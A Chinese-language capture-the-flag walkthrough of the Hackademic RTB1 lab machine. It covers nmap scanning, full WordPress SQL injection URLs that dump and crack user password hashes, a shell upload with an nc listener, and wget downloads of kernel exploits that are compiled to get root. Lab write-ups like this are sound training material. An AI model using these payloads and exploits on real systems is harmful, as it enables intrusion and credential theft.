靶机设置
网络设置为NAT模式,其他无需调整。
Nmap扫描
主机发现
sudo nmap -sn 192.168.9.0/24
确定靶机IP:192.168.9.152
TCP开放端口扫描
sudo nmap -sT --min-rate 10000 -p- 192.168.9.152
只有两个端口,22还关闭了。又轻松咯~
UDP开放端口扫描
sudo nmap -sU --min-rate 10000 -p- 192.168.9.152
没有开放的
TCP详细扫描
sudo nmap -sT -sV -O -p22,80 192.168.9.152 -oA nmap/detail
linux+Apache,Linux版本貌似比较低嗷
漏洞脚本扫描
sudo nmap --script=vuln -p22,80 192.168.9.152 -oA nmap/vuln
没有可利用的qaq
Getshell
80-界面
登进去一通乱点。发现一共有5个页面。有三个页面是通过get传参的,是数字,可能有SQL注入
不过先把目录扫描开上:(后续来说一句,没扫出东西)
gobuster dir -u http://192.168.9.152/ --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
80-SQL注入
确定存在SQL注入:http://192.168.9.152/Hackademic_RTB1/?cat=1%27
通过报错wp_categories
也能看出是wordpress
分析一下SQL语句:这里'
被转义了,不过从报错语句能看出是数字型。还有一个点是limit 1
。得先传个false的值,不然内容不会回显
接下来SQL注入:
http://192.168.9.152/Hackademic_RTB1/?cat=1%20order%20by%205
http://192.168.9.152/Hackademic_RTB1/?cat=1%20order%20by%206
# 判断列数,5不报错,6报错。确定为5列
http://192.168.9.152/Hackademic_RTB1/?cat=1%20order%20by%206
# 判断回显点,发现是2
http://192.168.9.152/Hackademic_RTB1/?cat=0%20union%20select%201,database(),3,4,5
# 再次确认是Wordpress
这里有两条路:第一条,因为wordpress是我们能下载的内容管理系统,所以我们可以在网上搜索它的数据库架构,然后直接定向查找其user表即可;第二条,按照常规的SQL注入流程,一路注入下来
搜索方法:
F12确认一下wordpress版本。
然后在网上搜索“WordPress数据库及各表结构”即可。
注入方法:
http://192.168.9.152/Hackademic_RTB1/?cat=0%20union%20select%201,group_concat(table_name),3,4,5%20from%20information_schema.tables%20where%20table_schema=database()
# 查表名:wp_categories,wp_comments,wp_linkcategories,wp_links,wp_options,wp_post2cat,wp_postmeta,wp_posts,wp_users
http://192.168.9.152/Hackademic_RTB1/?cat=0%20union%20select%201,group_concat(column_name),3,4,5%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x77705F7573657273
# 查列名。16进制编码绕过单引号过滤
# 列名:ID,user_login,user_pass,user_firstname,user_lastname,user_nickname,user_nicename,user_icq,user_email,user_url,user_ip,user_domain,user_browser,user_registered,user_level,user_aim,user_msn,user_yim,user_idmode,user_activation_key,user_status,user_description
http://192.168.9.152/Hackademic_RTB1/?cat=0%20union%20select%201,group_concat(user_login,0x7e,user_pass,0x7e,user_level),3,4,5%20from%20wp_users
# 0x7e = '~',因为单引号会被转义,所以直接采用了ascii码
# user_level越高,权限越高
NickJames~21232f297a57a5a743894a0e4a801fc3~1, ->admin
JohnSmith~b986448f0bb9e5e124ca91d3d650f52c~0, ->PUPPIES
GeorgeMiller~7cbb3252ba6b7e9c422fac5334d22054~10, ->q1w2e3
TonyBlack~a6e514f9486b83cb53d8d932f9a04292~0, ->napoleon
JasonKonnors~8601f6e1028a8e8a966f6c33fcd9aec4~0, ->maxwell
MaxBucky~50484c19f1afdaf3841a0d821ed393d2~0, ->kernel
awk -F '~' '{ print $2}' passwd.txt | awk -F , '{ print $1}'
# 把密码部分取出来
加密类型可以搜索,也可以hash-identifier
hashcat破解密码:
hashcat -a 0 -m 0 ./pass.txt /usr/share/wordlists/rockyou.txt
我这里分配的内存不够报错,所以选择了cmd5在线破解。解出来的密码已经补充到前面了。
重点是权限最高的George:GeorgeMiller~7cbb3252ba6b7e9c422fac5334d22054~10, ->q1w2e3
对了,登陆地址:http://192.168.9.152/Hackademic_RTB1/wp-login.php
好老——
设置一下允许上传文件:
会多出来一个Upload选项,上传咱们的shell即可
访问前开启监听:sudo nc -lvnp 1234
提权
基础信息
简单枚举信息确认是靶机:
悲——
直接python提升一下交互性试试?
QAQ提升了但没完全提示
内核提权
回到提权。
sudo -l
失败qaq。但是,这个内核版本较低,很有可能可以内核提权
searchsploit搜一下试试:
searchsploit linux kernel 2.6.3
# 版本号不可以写得太细,也不可以写得太粗糙。这里参考是红笔师傅的
# 写得太细可能搜不到,写得太粗可能搜出来太多
非常多啊,简单筛选一下,试一试
searchsploit -m 9352
记得cat一下,看看注释里有没有记载编译指令
kali这里架设一个简单的http服务:
sudo php -S 0:80
靶机wget下载文件:
wget http://192.168.9.150/9352.c
不允许在当前目录下写。
小问题,咱们去/tmp
下载
编译:gcc 9352.c -o 9352
看看有没有可执行权限:ls -liah
有的,那我们直接执行试试:
悲——看下一个
试试这个:15023
searchsploit -m 15023
wget http://192.168.9.150/15023.c
gcc 15023.c -o 15023
失败+1
试试:15774
searchsploit -m 15774
wget http://192.168.9.150/15774.c
gcc 15774.c -o 15774
感觉不对劲,发现还有一个筛选条件:Privilege Escalation
(提权的意思)
searchsploit linux kernel 2.6.3 | grep 'Privilege Escalation'
searchsploit -m 15285
wget http://192.168.9.150/15285.c
gcc 15285.c -o 15285
拿下!